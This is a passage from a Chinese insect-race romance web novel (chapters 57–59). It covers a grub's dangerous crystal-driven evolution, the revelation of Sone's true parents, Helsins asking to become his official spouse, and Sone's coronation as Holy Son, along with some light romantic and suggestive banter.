直到某一天,索涅将他抱在怀里时,能清晰地感觉到虫崽身上传来的异常热度。 “不对劲。”他皱起眉。 索涅用手背轻触虫崽滚烫的额头和脸颊,“体温一直在升高,而且越来越没精神,今天连奶都不喝了。” 赫尔辛斯眉心拧在一起,看着雌崽萎靡不振的脸色。 他用精神力轻轻触碰雌崽的额头,仔细地感受着虫崽的精神力波动。前几天一无所获,然而今天他却发现了一些异常波动。 赫尔辛斯神情一凛,然而却只能模糊地感知到,虫崽体内似乎有一种奇异的不受控的能量在缓慢流转。 这过程显然给虫崽带来了负担,虫崽在索涅怀里不舒服地轻轻蹬腿,发出细微的呜咽,很快又陷入昏睡。 “有什么发现?”索涅焦急地问道,他忙着联系各大医院。 赫尔辛斯沉默地站在一旁,指尖无意识地蜷缩,攥紧了掌心。他心里已经有了一个猜测,面色霎时苍白。 他看着雄虫怀中那小小的一团,小家伙暖白的肤色此刻泛着不正常的红晕,一种源自血脉深处的恐慌和无力感攫住了他。 由于精神力这种无法有效控制的东西,每年夭折的雌崽不计其数,其中有很多都是卵死腹中,赫尔辛斯本来无比庆幸虫崽的健康平安…… 赫尔辛斯伸出手,再次极其轻柔地覆在虫崽的额头上,那灼热的温度让他心中沉重。 “范斯医院的幼崽主治建议我们转异常进化科。”索涅抬起头,声音有些发紧,“我们现在就去,不能再等了。” 虫崽的状况他们隐约有所感觉,已经十分不妙。 范斯医院进化科的高级诊室内,气氛异常凝重,周围围满医雌。 索涅和赫尔辛斯安静地站在一旁,屏息等待。 不苟言笑的医雌主治仔细检查了昏睡的科尔墨斯,又调阅了赫尔辛斯孕期及生产后的所有体检数据,尤其是关于那枚神秘珀斯晶体的记录。 他的目光在光屏上复杂的能量图谱和赫尔辛斯体内已消失无踪的晶体之间来回扫视,脸色越来越凝重。 “索涅殿下,”医雌抬起头看向他们,他的声音带着对未知的迟疑,“根据能量残留的微弱波动和幼崽精神域的精细扫描……我们推断,幼崽的精神域可能受到了母体珀斯晶体的影响,正在经历一种前所未有的进化状态。” 赫尔辛斯浑身血液瞬间冰凉。 未知进化,九死一生。 “珀斯晶体?”索涅心头猛地一紧,下意识地看向赫尔辛斯,果然看到雌虫摇摇欲坠,他连忙扶住赫尔辛斯。 “晶体……是被他吸收了吗?”赫尔辛斯的声音干涩。 他伸出手,用指节极其小心地蹭了蹭虫崽发烫的、柔软的小脸。 这都是他的错。 “极有可能是在孕育前期能量不足,胚胎无意识地进行了一种高级的掠夺性吸收。”医雌谨慎地选择着用词,“珀斯晶体的能量等级极高,性质独特。目前的过程伴随着高风险,但也意味着未知的潜力。” 他看向索涅和赫尔辛斯,严肃的脸上露出一丝不忍,有些黯然,“很抱歉,我们目前的常规医疗手段,很难安全介入这种层面的能量演变,强行干预恐怕有不可预知的后果。” “是我的错。”赫尔辛斯喃喃。 他的手颤抖着,冰凉到犹如尸体。 索涅紧紧地抓住雌虫的手掌,将雌虫揽进怀里。他心中慌乱如麻,却语气镇定,“我们一定能找到办法,进化也不是只有失败的结果,赫尔辛斯,相信我们的小崽子。” “这不是你的错,是我导致的那场灾祸……”索涅嗓音沙哑,他自己都不愿意听。肩膀渐渐潮湿,他闭上眼和雌虫相互依偎。 “索涅殿下,建议您联系费伦斯殿下,他可能对此有办法。”医雌说道。 索涅心中瞬间升起一抹希望,迅速拿出手环求助费伦斯。 医雌却心中暗叹。 一个不注意,两方就会反目成仇,他认为费伦斯不一定愿意接这个烫手山芋。 第57章 进化 他们来到研究院时,夜幕已经沉重…… 他们来到研究院时, 夜幕已经沉重地压在头顶。索涅抱着昏睡不醒的虫崽,感受到赫尔辛斯手心里蔓延的冷汗。 索涅轻轻地捏了捏雌虫的手心。 赫尔辛斯轻舒一口气,握紧索涅的手掌, “我没事。” 他虽然这么说, 看着可不像没事的样子。 身穿白色工作服的雌虫带着他们直接走进实验室, 用精神力刷过一道道厚重的实验门, 越是走到内部, 越是听不到一点杂音, 只有身穿消音工作服的虫子匆忙来去。 索涅低下头,怀里的虫崽脸蛋烫红,柔软的金发贴在头上, 看起来有气无力, 完全没有了以往乐呵呵的精神模样。 他们等待着通行许可。赫尔辛斯接过虫崽, “您跟执政官交流,我来抱着他吧。” 索涅点头, 伸手将掉下来的集热片贴回虫崽额头。 “文森,直接进来。”费伦斯的脸出现在等候区的光屏上,额头有一丝汗迹。 雌虫连忙领着索涅他们进入一间实验室,这里看起来和外面没什么不同,甚至仪器还要更少些。费伦斯穿着工作服, 正一丝不苟的检查面前的蛋形仪器。 “小科尔的检查报告给我看看。”不等索涅走近,费伦斯大步走到他们面前,伸手抱过小虫崽,将掌心贴在科尔额角。 索涅将所有医院的检查结果打包发给了费伦斯。 费伦斯飞速地翻看完, 眉心皱起,将小虫崽放进他刚才调试好的设备中。 “赫尔辛斯,索涅, 你们也进去。”费伦斯将他们领到旁边嵌入墙壁的仪器前。 索涅和赫尔辛斯对视一眼,毫不犹豫地走进仪器。 仓门关闭,蓝色混合补充剂迅速填满腔室,索涅的意识逐渐变得昏昏沉沉,精神丝不受控制地自太阳穴缓缓探出,弥漫在腔室中。 光屏上数据起伏闪烁,数十条黄色警戒无比刺眼。 赫尔辛斯的检查仓率先发出刺耳的警报,旋即自动开启。 “赫尔辛斯,跟我描述一下那块珀斯晶体在你怀蛋前后的变化。”费伦斯说。 索涅还没出来,赫尔辛斯走到光屏前,看着那些警戒标志,瞳孔微缩。 他嗓音沙哑:“最开始没有感觉,抵达主星后半个月,手术的地方逐渐胀痛,我的精神丝对珀斯晶体并不狂热,入狱后胀痛感也慢慢消失,我原本以为它被我吸收了。” 他脸上露出一丝苦笑。 就在这时,索涅的仓门也缓缓开启。 费伦斯不禁看向落在仓门的时间记录上,目光凝滞一瞬。 索涅没注意,走到虫崽的仪器前,“执政官阁下,有结果吗?” “有一些,你们得先做好准备。”费伦斯神色严肃地说。 索涅心中一紧,“不管怎样,拜托您救救他。” “我当然会救他,这个你不用担心。”费伦斯神情和缓下来,他希望他们重视他接下来的话,索涅恐怕被他吓到了,“珀斯晶体的确促成了科尔的某种进化,大致是精神力方面,进化比较平稳,发热是自然现象,只要别捂着他就行。” 还没等他们松一口气,费伦斯又说:“可能得暂时将科尔和你们隔离,你们能接受吗?” 索涅不太明白,“我们的精神力会影响到他?” 费伦斯露出笑意,“索涅阁下的生物学学得很不错。科尔的精神丝正在被珀斯晶体改变,而你们的精神丝中含有变异的珀斯晶体能量。这种进化在个体上有极大差异性,最好不要诱导他,免得发生意外。” 索涅懵了:“我也有珀斯晶体能量?” 他怎么会有?不是说雄虫对珀斯晶体无感? 赫尔辛斯则是瞬间联想到一切,看向索涅的目光含着一丝心疼。 实验室里安静了一会儿,响起费伦斯的叹息声。 “这一切都怪我。”费伦斯语气低沉下去。 “索涅,我本来……还没准备好什么时候告诉你,安莫因一直在催我……其实,你是我和安莫因的虫崽。” 落针可闻。 赫尔辛斯忍不住去看雄虫的神色。 索涅眼神茫然:“怎……什么意思?” “你就没有想过,为什么你的精神力那么奇怪?直到成年才显露出等级?”费伦斯看到索涅的样子,眼神柔和下来。 索涅后背一凉:“你们知道?” “……自从找到你,安莫因一直在暗中确认你的身份,很抱歉,我们情急之下调动了你的背景记录。”费伦斯说。 索涅脑海中一团乱麻,情不自禁地抓住赫尔辛斯的衣摆。雌虫安慰地反握住他的手,微微上前将他挡在身后。 索涅心头一暖,耳朵却发红。 “当初,虫蛋一生下来就是死蛋,只有一丝微弱的生命跳动。我动用还不成熟的技术,将珀斯晶体蕴含的精神力导入虫蛋中,幸运的是你成功被我救了回来,但被心怀不轨之虫偷走了。”费伦斯说完最后一句,眼神有些狠厉。 “我以为你死了,安莫因一直没放弃找你。他是对的。”费伦斯说道,“他找到赫尔辛斯的同时,也找到了你。” “你们有深切的缘分。”他看着赫尔辛斯和索涅说道。 索涅勉强露出一丝笑:“……你们为什么不早点跟我坦白?” 费伦斯沉默了很久,“……我总以为,会有更好的时机。” 但其实他永远在惶恐,弄丢虫蛋的雄父,能有资格得到虫崽的原谅吗? 等到他为索涅铺好路,准备好一切赔罪的东西,他才能有底气说出这些话。但没想到一切会来的如此突然。 “安莫因他又怀了一枚虫蛋,是个雌虫蛋。”费伦斯主动坦白索涅即将有个弟弟的事实。 索涅唇瓣抿起,一时不知道该说什么。 “科尔他……我们在仓外陪着他也不行?”索涅僵硬地转移话题。 “这个仓体还做不到完全绝缘,如果你们放心,可以由我来照顾他。”费伦斯说道。他有些忐忑。 索涅又不说话了。他牵着赫尔辛斯,遥遥地看着小崽子。 他既不相信费伦斯,也不完全不相信费伦斯,只是条件反射地担心小虫崽。 左手皮肤被轻轻捏了捏,索涅转过头。 雌虫目光温柔,修长的睫羽落下,轻易刷走索涅心里的不安。 关键时刻,赫尔辛斯总是他冷静下来面对现实的支柱。 “……执政官阁下,”索涅还是这么叫,“刚才检查时,赫尔辛斯的身体……” “一切正常,”费伦斯肯定地说道,“精神丝完美无缺,倒是你得准备好大型营养仓,最好到我这里来,等你进阶完及时检查身体数据。” 索涅又懵了:“……进阶?” 赫尔辛斯早有所感,却也不禁诧异:“这么快?” 索涅不满地看着他的雌虫:“赫尔辛斯你又瞒着我。” “我也并不确定,”赫尔辛斯丝毫不顾及费伦斯的存在,倾身吻在索涅唇上,“您别生气,我给您做好吃的。” “……”索涅耳朵发红。 “估计就在一个月内,激进一点,可能是一周内,你将突破A级进阶为S级雄虫。”费伦斯不禁露出笑意,“你将成为联盟数千年来第一只S级雄虫。” “……S级?”索涅喃喃,“是因为那颗晶体?” “不,我没能融入太多珀斯晶体,那点儿精神力只能保你不死,”费伦斯却摇头,“但它改变了你的精神力结构,所以你进化后究竟怎样,谁也说不准。” S级与A级是质的差别,仅仅是S级雄虫会长尾巴这一点可见一般。 索涅心中难言。 他有点难以接受自己长尾巴。 “你们黑眼圈这么重,先回去吧,我会照顾好科尔,安莫因可能很快就会过来,”费伦斯看着索涅说,“你不用顾虑太多,无论有什么决定,我和安莫因都接受。” 索涅勉强笑了笑,一步三回头地走出实验室。 研究员领着他们离开,索涅今天知道了太多事,心中想法纷纷扰扰。 出了研究院,他本想上飞行舰,却被雌虫拉紧手臂。 “怎么了?”索涅抬起眼。 赫尔辛斯微微一笑:“不知您是否愿意和我去中央大街走一走?” “主星的有钱雌虫会和雄虫在中央大街的咖啡馆约会,我现在没有钱,所以您愿意和我去散散步吗?”雌虫说。 索涅怔然,旋即勾起唇角,“当然愿意,求之不得。” 雌虫带路,索涅被他牵着,漫无目的地跟着他,任由雌虫把他带去任何地方。 夜晚柔和的微风吹拂而过,赫尔辛斯的发丝飘起,拂在索涅手臂上。从后看去,雌虫肩宽背直,腰细臀翘,比例堪称惊人。 修身却又不紧绷的衣物将他的身材勾勒得恰到好处,在夜色中更是平添一抹暧昧撩人。 索涅心无旁骛地欣赏着,雌虫塞给他一个棉花糖。 “听说吃糖会让心情变好。”雌虫说,“抱歉,用的是您的星币,以后我双倍补给您。” 索涅忍俊不禁,“我很期待。” 来吧,用两个大棉花糖甜齁他。 夜风徐徐中,索涅仰头看着星空。 主星有一颗靠得极近的瑰丽卫星,被废旧太空垃圾和陨石围绕出一个星环,从地面来看十分震撼。 索涅侧过头,发现雌虫一直在注视着自己。 他不禁笑起来,舔了一口棉花糖,侧身吻在那淡色的唇上。 星空固然瑰丽,城市的夜景固然绚丽热闹,索涅瞧着,都不如他的雌虫来得冷艳漂亮。 “谢谢。”他轻声说。 雌虫勾起唇,搂住他的脖颈,深吻封缄—— 作者有话说:全文完(bushi) (没完!没完!![狗头叼玫瑰]话说氛围都到这儿了) 第58章 恨嫁的赫尔辛斯 科尔的事儿把恩修…… 科尔的事儿把恩修吓了个半死, 连夜带着莱昂兹奔到索涅家,得知虫崽已经去隔离了。 “我靠……”恩修躺在藤椅上,“你也没跟我说一声, 跑得我累死了。” “你没问我, ”索涅说道, 给他倒了一杯水, 又看见赫尔辛斯提着茶壶过来不禁无奈, “跟他客气什么, 他喝杯清水就行。” 恩修瞪眼:“这是什么话!” 他接过茶壶给自己倒了满满一大杯,并一口喝干,对着索涅挑挑眉。 “我煲了排骨汤, 还有十几分钟就好了。”赫尔辛斯说。 恩修:“……” 索涅不厚道地笑了一声。三虫坐在露台, 依稀听到隔壁莱昂兹剁咸鱼干的声音。 “……你老实说, 科尔真的没事吧?我家里有点医疗资源,虽然没什么大用, 但要是有需要你尽管说。”恩修放下茶杯正色道。 “我不会跟你客气,现在科尔在费伦斯那儿,他有办法让科尔尽量安全地进化。”说起这个,索涅的情绪低沉下去。 尽量? 这两个字听得恩修一阵揪心。 “别担心,你可别忘了你不同凡响, 崽子一定会安全的。”恩修模棱两可地安慰老乡。 小说不都这么写么,主角的崽子怎么可能出事儿呢? 索涅扯了一下嘴角。 赫尔辛斯伸手拥住他的肩,趴在索涅背上,下巴搭在他肩头。 雌虫的长发滑落在身前, 索涅侧过头贴着雌虫的脸,心情稍微好了一点。 恩修:“我说,这儿还有个虫呢。” “你家雌君在里面剁咸鱼, 你在这儿躲懒,还有空管我?”索涅说。 “那不是他想试试自个儿手艺么……好了好了我不碍你的眼,我去给他帮忙。”恩修被“你家雌君“四个字整得心花怒放,乐乐呵呵进厨房去了。 “他们在一起了?”赫尔辛斯在他耳边问。 “你不知道?”索涅诧异,“我还以为你和莱昂兹一直有联系。” “我最近忙着照顾科尔,看来莱昂兹是成功了,也不再需要我跟他传授那些经验。”赫尔辛斯说。 索涅握住雌虫修长的手,十指插进雌虫指缝里。雌虫的手比他的略大一些,肤色更是比他深了几个度,索涅看着看着,突然有些恍惚。 两只男人的手。 一只是他的,正和另一只亲密地交握在一起。 他却没有丝毫反感,也已经想不起当初对赫尔辛斯的男性外表是什么感觉。 最初的赫尔辛斯留给他的印象,只有在黑暗中发光的虫纹,长到拖地的金发,和惨烈至极的伤势。 索涅侧过头,轻轻扶住雌虫的下颌,对方就无比自然地凑上来。他们极为默契地交换了一个轻吻。 索涅不禁轻笑,原来已经有了这种习惯么。 “您笑什么。”赫尔辛斯低声问。 索涅向后压低重心,和雌虫相互抵靠着,他仰头贴紧雌虫的脖颈,眼里盛满落日黄昏。 “笑我真幸运,你真可爱,”索涅闭上眼睛,“我还想要你亲我。” 他喜欢雌虫主动的样子,眼睑垂下来的模样很认真很可爱。 赫尔辛斯被这种纯情的要求弄得耳根发红,“如您所愿。” 他低下头,有点紧张地轻轻碰了一下雄虫的唇瓣。 雄虫没有动,也不说话。 赫尔辛斯耳朵迅速发烫,只得再次去吻他的小雄主,直到索涅满意…… “哐!” 巨大的咸鱼脊骨一分为二,莱昂兹顺手扔进菜篮子。 “啧啧,暴力雌虫。”恩修来了也不帮忙,靠在墙边骚扰莱昂兹。 雌虫柔润的皮肤渐渐涨红,瓮声瓮气:“我以前就是这样的。” “急啥,我又不嫌弃你,别老把力气浪费在剁咸鱼上,床上多使点劲儿。”恩修大咧咧地说。 雌虫的脸迅速变红,从白面馒头变成了玫瑰馒头。 恩修揉了一把他饱满的脸蛋,心满意足地抢走菜刀,三两下“咔咔”剁完,给咸鱼撒几粒儿上次送给索涅的自制豆豉,然后送进蒸箱。 他正要出去,被沉默好一会儿的雌虫揪住衣角。 “您是不是……不喜欢我。”雌虫低声说。 恩修大为震惊:“嗯?几个意思?我们床都上几十次了,你那时候可不是这么说的,娇气得不得了,你给我来这套?” 其言语之奔放,让莱昂兹这个虫族土著都头顶冒烟:“您都不想在我身上浪费力气……” 雄虫太过分了,就知道让他使劲儿,那他自己的力气呢?留给别的雌虫?莱昂兹知道雄虫的家族在给他物色雌侍。 恩修气笑了,使劲戳了戳雌虫饱满的胸肌,戳出几个窝儿,阴阳怪气地说:“哟,不知道是谁喜欢顶到生殖腔最里面,嫌我技术不好找不到腔口唔——” 莱昂兹急忙捂住他的嘴,脸涨得通红。 恩修眼尾弯起,扒拉掉他的手,凑到羞涩的雌虫耳边,声音低沉:“你总得给我机会练一练,我才好让你满意。” 没想到自己的小九九被发现,这下真把雌虫羞坏了,眼珠湿漉漉的一直不说话,恩修被他看得都没心思做饭了。 晚饭餐桌上,索涅假惺惺:“唉,真不好意思,每次你来做客都让你做饭。” 恩修一脸假笑:“吃吧您就,记得给个五星好评。” 赫尔辛斯煲汤的手艺已经炉火纯青,非索涅这个半吊子所能企及。排骨软烂浓香,被炖得形散而神不散,汤里的各种鲜菌菇浸满荤肉的香气,与自身鲜美的味道完美融为一体,再一口汤下去,从胃里直接暖到天灵盖。 恩修非常后悔刚才喝了一大杯茶,虽然茶也是好茶,但这么鲜亮的汤更不多见。 他准备开个餐厅,想求几道赫尔辛斯的汤谱。 索涅伸出手:“一换一。” 恩修竟然早有准备,拿出一个指甲盖大的小玩意儿递给索涅。 索涅疑惑地拿起,目光一顿,储存器? “维希鬼鬼祟祟地叫我给你,怎么样,能换一道汤谱吗?” “没你这么借花献佛的,”索涅若有所思,收起储存器专心吃饭,“那是我家雌君的东西,你管他要。” 赫尔辛斯猛地一顿,眼睫颤了一下,缓缓地抬起头看着索涅。 索涅却并没有注意到,他被雌虫温软的目光注视习惯了,淡然地给赫尔辛斯夹了菜又添上汤。 赫尔辛斯收回目光。 恩修眼珠一转,用胳膊戳了一下莱昂兹,“靠你了,我亲爱的宝宝。” 莱昂兹好不容易恢复正常的脸霎时升温,区区五秒就红得能煎鸡蛋。 恩修嘿嘿一笑。 索涅被他们两个腻到了,转头看向赫尔辛斯想寻求安慰,却发现他的雌虫正目不转睛地看着对面,眼神里隐隐羡慕。 索涅:“……?”这还了得? 晚上安莫因录了视频发过来,仪器里虫崽正酣睡着,脸上高热引起的红晕已经消散。安莫因详细地说了一遍崽崽的情况,一切正常。 他们靠在床头仔细地研究完崽崽的状态,总算稍微松了一口气。 灯光熄灭,窗帘将城市夜景遮得严严实实,卧室变得一片昏暗。 黑暗里,好几分钟之后,雌虫轻轻出声:“雄主……” 索涅不禁勾起唇,这语气他可太熟悉了,赫尔辛斯肯定又在纠结一些事。 “怎么了?” 他们的颈下是一个长条大枕头,索涅额角抵着雌虫的额头,对方的呼吸喷在他脖颈。 “我……”赫尔辛斯抿起唇。 他心里懊恼自己没忍住问出口,他不知道该怎么组织语言。 雌虫不说话,索涅便也不追问他,慢慢地说起自己打算。 “我们得准备一下周六的加冕,上次给你定制的礼服还没做好,明天加点钱让他们赶工,顺便再买一个大型营养仓回来。” “还有两周就是格斗联赛,我最近训练很懈怠,”索涅忍不住叹气,“也不知道能不能拿一个不难看的成绩。” 他伸手撩起雌虫的长发,放到鼻尖轻嗅。是他们一起选的洗发水和护理乳,这香味清冷惑人,很衬雌虫的气质。 “明天再给你剪个头发,我也该剪剪了,不然后天邋里邋遢可怎么办。”他低声说着。 “后天,有什么很重要的事么?”赫尔辛斯压下自己心底的事。 索涅笑了一声,倾身吻他,却不说话。 赫尔辛斯闭眼仰起头,雄虫却给了一个浅吻就离开了。 他有些不满足,趴在雄虫肩头,将鼻尖埋进雄虫的衣领,嗅闻着寥寥的信息素。 索涅抚摸着他的头发,控制着信息素缓缓地散发,萦绕在雌虫身体周围。他一直不知道自己的信息素是什么味道,不过赫尔辛斯喜欢就好。 “今晚不做吗。”雌虫闷闷地说。 “想和你聊聊天,你有话和我说。”索涅说道。 雌虫安静了一会儿,起身爬到索涅身上。 说是不做,但雌虫都主动了,索涅当然不会拒绝。 他扶住雌虫的胯,却感到雌虫塌下腰肢,趴在他胸前,像个八爪鱼一样抱紧他。耳朵贴近心腔,听着他的心跳。 索涅怔然,紧接着忍不住发出几声笑,搂住雌虫精窄的腰身。 “有什么话要跟我说?嗯?” 赫尔辛斯这幅样子,一般是觉得话题比较“逾矩”。 但通常来说,这种话题对于索涅反而寻常,他最怕的是雌虫一声不吭地干危险的事。 “我可以,有机会当您的雌君吗?”雌虫的声音极低,索涅差点没听清。 他愣了好半晌。自己究竟给赫尔辛斯造成了多少误解? 但他的怔愣却让赫尔辛斯又误会了,“我会努力工作,不比外面的雌虫差。” “雄主……”他语气软下去,贴着索涅的脖颈说话,“给我一个雌君的位置,好不好?” 他不想当雌奴,也不想当雌侍,只有雌君才能有资格谈论占有雄虫。 只有雌君才能有资格和雄虫一起出席各种场合,死后和雄虫葬在同一颗星辰。 索涅忍不住叹了一口气,“我说过的,我只会娶一只雌虫,赫尔辛斯,这句话永远作数。” 以前是因为他接受不了那么多男人住他家里,现在是因为他爱这只金发虫子。 人类的心很小很小,只装得下一只虫虫。 赫尔辛斯心中微动,却闷声说:“可您是圣子。” 圣子只娶一只雌虫,很影响公众形象。 索涅早有想法,“这个交给我来解决。” 以前他只想着宁死不从,现在……只要进阶为S级,他的话语权就不可同日而语了。 “可是,我还是想成为您的雌君。”雄虫越对他纵容,赫尔辛斯越不满足。 索涅一顿,用指尖点了点笨笨的虫虫,低头吻在那片光洁的眉心,声音柔缓郑重:“你就是我唯一的雌君。” 他轻轻抚摸着吻过的地方,又道:“明天我们一起打理形象,后天就去登记,大后天一起参与加冕仪式,然后搬到圣山。” 他的计划非常连贯,赫尔辛斯听着听着心跳渐快,猛地想抬头,却被雄虫摁回怀里。 “确定还要跟我许这个愿望?这姿势我很喜欢,我建议你换个别的愿望。”索涅拍了拍雌虫翘起的臀。 赫尔辛斯脸一红。他想着撒撒娇,色诱一下雄虫,没想到多此一举了。 “想诱惑我?”索涅仿佛有读心术,闷笑一声,“哪有这么麻烦,你亲我一口,我什么都可以给你。” 他话刚说完,雌虫“咻”地抬头啵在他嘴上,然后坚决地说:“我想当您的雌君。” 索涅:“……”看来一天不办好结婚证,赫尔辛斯没一刻是安心的。 恨嫁的虫虫也挺可爱。 第59章 加冕 星网是一个鱼龙混杂…… 星网是一个鱼龙混杂什么奇葩都有的虚拟世界。 最近发生的事情看起来一个比一个刺激, 网友们各种揣测五花八门,但有一个话题经久不衰:索涅圣子到底什么时候加冕? 圣子的照片传得到处都是,也有不少虫遇到过, 但比起其他两位每周固定发九宫格的, 他的信息还是太少了, 并且真假不一。 已经有虫自发给索涅建了个粉丝会, 给索涅发了无数消息都石沉大海, 始终没挂到红色认证。不过有不少“内部”虫在星网发言, 说索涅的成绩有猫腻,圣山正在彻查。于是某一天早上,会长宣布他要跑路了。 当天下午, 圣山宣布将于三天后为索涅圣子加冕。 粉丝们炸开了锅。 [哈哈哈哈让你跑!] [这也太慢了, 圣山是不是不待见索涅圣子?] [圣山待见过哪个圣子吗?] [……] 没过多久有虫拍到索涅圣子和一只雌虫在大街上亲亲。 至于为什么用“亲亲”这两个字…… [靠啊, 为什么这种一点都不激烈的吻我看得心脏狂跳?!] [被子都被我踹烂了……啊啊啊我在床上扭成蛆!] [我不行了,他们两个好可爱] [都说了少看这种不良的东西, 容易长恋爱脑] [这就是赫尔辛斯?他平反了,那还是圣子的雌奴吗?] [我不知道,我只能说没见过站着走路的雌奴] [赫尔辛斯现在应该是自由民,据说他的财产五天还没有清算完] [……] 索涅和赫尔辛斯坐在飞行舰里,看着不远处的研究院。 “科尔还没有醒。”索涅低声。 赫尔辛斯握住他的手, “您放心,执政官不是说进化很平稳?” “但进化后怎么样,他也不确定,”索涅心里忐忑, “我们能照顾好进化的虫崽吗?” 赫尔辛斯静默了一会儿,捏着索涅手腕的指腹情不自禁地摩挲,“费伦斯在这方面是专家。” 雄虫不说话, 眉梢耷拉。 “你不喜欢他?”赫尔辛斯轻声问。 “不是,”索涅说,“我只是……不知道怎么和他们相处。” 他从来没有过父母,没有过亲人。 雌虫的唇弯起,双眼明亮,“他们都是很随和的虫,或许……您可以把他们当朋友?” “朋友?”索涅重复,“可以吗?” “我说不准,不如您试试看?”雌虫说。 索涅的视线落到自己手上,他肤色苍白,看起来不太健康,他原本的身体也是这样先天不足。 他鸠占鹊巢,面对原主的亲人,心里总是会感到不自在又愧疚。 良久,索涅说道:“我试试。” 他的指尖与雌虫的指尖相触,指腹这样互相摩挲着,也有一种别样的温暖,“赫尔辛斯,如果没有你,我该怎么办……” 索涅已经难以想象以前没有赫尔辛斯的日子,他自己都觉得以前的自己好可怜。 “我会一直陪着您。”雌虫低眉温驯地说。 他在索涅的指尖吻了一下。 索涅心脏一颤,耳尖迅速上色。 犯规!这只雌虫犯规!越来越会撩了! 索涅看着他认真的眼眸,半晌,轻轻叹了口气。 “您不信我?”雌虫皱起眉。 索涅失笑:“不是不信你,是感叹我陷得越来越深。” 雄虫这话让赫尔辛斯心情很好。 他们没有进研究院的大门,远远地看了一眼就离开了。 加冕仪式那天,费伦斯必须要出席,因此小虫崽就只能交给安莫因照顾。莫里斯宫常年幽闭的房间窗户全部开启,深蓝镶有金边的地毯从宫殿外围一直铺到莫里斯宫门口,在嶙峋的雪山间若隐若现。 山顶的雪好似也被这热烈庄严的氛围所融化,无数飞行舰犹如飞蛾般穿梭云间,密密麻麻地向着莫里斯宫降落。 圣斯广场中央,宏伟的高台拔地而起,目测至少有数百米。尺直的阶梯从四面簇拥着它,最高处的桌台放着两个乌木托盘,一长一短,被深蓝色布料盖着,谁也看不清是什么,不过大家都能猜得到。 这里没有座位,虫子们极其自觉地走到各自的位置,目光闪烁着,不着痕迹地观察各自的位置变化。 圣子加冕,同时也体现圣山对于参与者的态度。有些虫的位置极其靠里,有些虫却只能站在外围,甚至在雪白的光辉下看不清费伦斯的脸。 一切就绪,费伦斯缓缓地走上高台,转身面向众虫,神情肃穆。 他穿了一身洁白长袍,宽大的兜帽下露出漆黑的发丝,面容精致至极,无端地带着一丝神性。 “索涅殿下,请您上前来。”费伦斯沉声道。 声音传到每只虫子耳朵里,他们不由得紧紧盯着长毯尽头。 一只虫缓缓地出现。 不少虫子面色一变。 索涅身穿圣山制式的礼服,左手牵着赫尔辛斯,数千道目光落在身上,他视若无物,脚步不急不缓,神情冷若冰霜,苍白的面色身后的雪山竟不知哪个更白。 一直走到尽头,索涅扯不动雌虫了。 他侧过脸,却见到雌虫双手捧着他的左手,轻轻地落下一枚吻,然后将额头紧贴在他手背。 索涅想一起上去,但雌虫旋即放开他的手,走到最靠前留给圣子雌君的位置上站定,眼中露出肯定的笑意。 索涅唇角抿起,只得独自慢慢地朝上走。 八十一级台阶,他走到最后几乎恍惚,眼里只剩下无边无际的茫茫白色,孤寂的感觉萦绕心扉,仿佛血液都在缓缓变冷。 直至尽头,一抹深蓝的颜色将他思绪拉回现实。 索涅定了定神,走到费伦斯面前。 费伦斯将视线从索涅身上收回,拿起其中一个托盘。 “莫里斯联盟,第一千零一位圣子殿下——索涅·诺米茨,圣山代表千亿虫族子民,代表属地一千两百零三颗星球,代表数十万年跋涉逝去的先辈为您加冕权力与责任,授予圣山圣子身份,您是否愿意?” “……我,愿意。”索涅沉声说道。 “请您戴上宝石冠。” 索涅双手掀开托盘,拿起那顶华贵的皇冠,缓缓地放到自己头顶。深蓝的蓝宝石与他的眼睛相得益彰。 费伦斯伸手给他调整位置。 虫子们右手抚上左肩,静默地抬头看向高台。 费伦斯拿起第二个托盘,“请接过权杖。” 索涅静默地将权杖拿起。 原来所谓加冕,是自己主动戴上皇冠,拿起权杖。 他转向底下的数千只虫子。个个都是精英贵族。 “荣光与您同在。”费伦斯说道。 “荣光与您同在!” 虫子们声音虽和费伦斯一样低沉曲目肃穆,但合在一起在山谷间回响,仍旧将索涅的耳朵震得微微发麻。 索涅遥遥地看去,仔细看到一缕苍金。 对方也正仰头看着他。 索涅几乎能想象到雌虫认真的样子,僵直的唇角终于上扬些许。 他将权杖放在胸前,垂首低声重复:“荣光与我同在。” 整个广场静默三分钟,漫长的寂静里,只有摄像机无声无息地盘旋在头顶。 “加冕仪式圆满结束,请阁下们移步宴会厅。”费伦斯宣布道。 索涅一步步走下高台,路过赫尔辛斯并未停留。 雌虫目光错愕不到一秒,被一股力道拉出队列。他低头看到雄虫握着自己的手腕,又抬头看到雄虫新发型饱满的后脑勺。 他弯起眼,上前两步靠近雄虫,轻声地抱怨:“我还以为您忘记我了。” 索涅同样鬼祟地侧头贴近他,低声咬耳朵:“我们快回去,把这个从我头上拿下来。” 大庭广众,他总不好骤然拿下没戴几分钟的皇冠。 “您不喜欢?”赫尔辛斯咬索涅的耳朵。 “怪怪的,还挺重。”索涅咬赫尔辛斯的耳朵。 他没想过自己有一天会脑袋上顶着这么个玩意儿,总感觉浑身别扭。 虫子们一时没动,默默地看着他们走远。 气氛渐渐地流动起来,大小贵族精英齐聚,这也是个不错的交际场合,虫子们渐渐三五聚在一起走进廊桥,话题不可避免地落在索涅身上。 很默契地,奥维和两位手握实权的公爵走在最前面,他和这俩虫话不投机半句多,但遇见了也不能不寒暄。 听着后面虫低声讨论,艾尔斯拉公爵也笑着说了一句:“这位新的圣子殿下,气度真是不同凡响。” 不知从什么时候开始,圣子们营销的方向无比雷同,都是温柔亲民三句话笑四次的模样,这种整天拉个脸,仿佛谁都不鸟的圣子反而稀罕。 “艾尔斯拉公爵见过索涅殿下几次?”奥维却问。 艾尔斯拉可不好试探,嘴角笑意依旧,说出来的话呛死个虫:“不多不多,不过在安莫因那儿听说过,他难得夸某只虫,今天一见索涅殿下,我才知道殿下不是那种绣花枕头。” 奥维一噎,偏偏艾尔斯拉是白玉蜂一脉的鼎盛家族,公爵又是只高级雄虫,他还真不能把艾尔斯拉怎么样。 另一位公爵饶有兴致地问:“听说殿下还是圣托机甲系的学生?” 奥维心里猛翻白眼。 听说个屁!这群老狐狸肯定连索涅的虫崽子爱喝哪个牌子的奶都调查清楚了!还在这儿装单纯! “那么索涅殿下也会参加格斗联赛?看来今年的赛事将会很精彩。”艾尔斯拉哪壶不开提哪壶。 “奥维族长,怎么不见艾浮圣子和西沙圣子?”另一位公爵是中立派,可这说来的话也不中听。 奥维假笑:“两位殿下今日公务繁忙,不幸地病倒了。” “哦,原来如此,愿虫神保佑他们。”艾尔斯拉说。 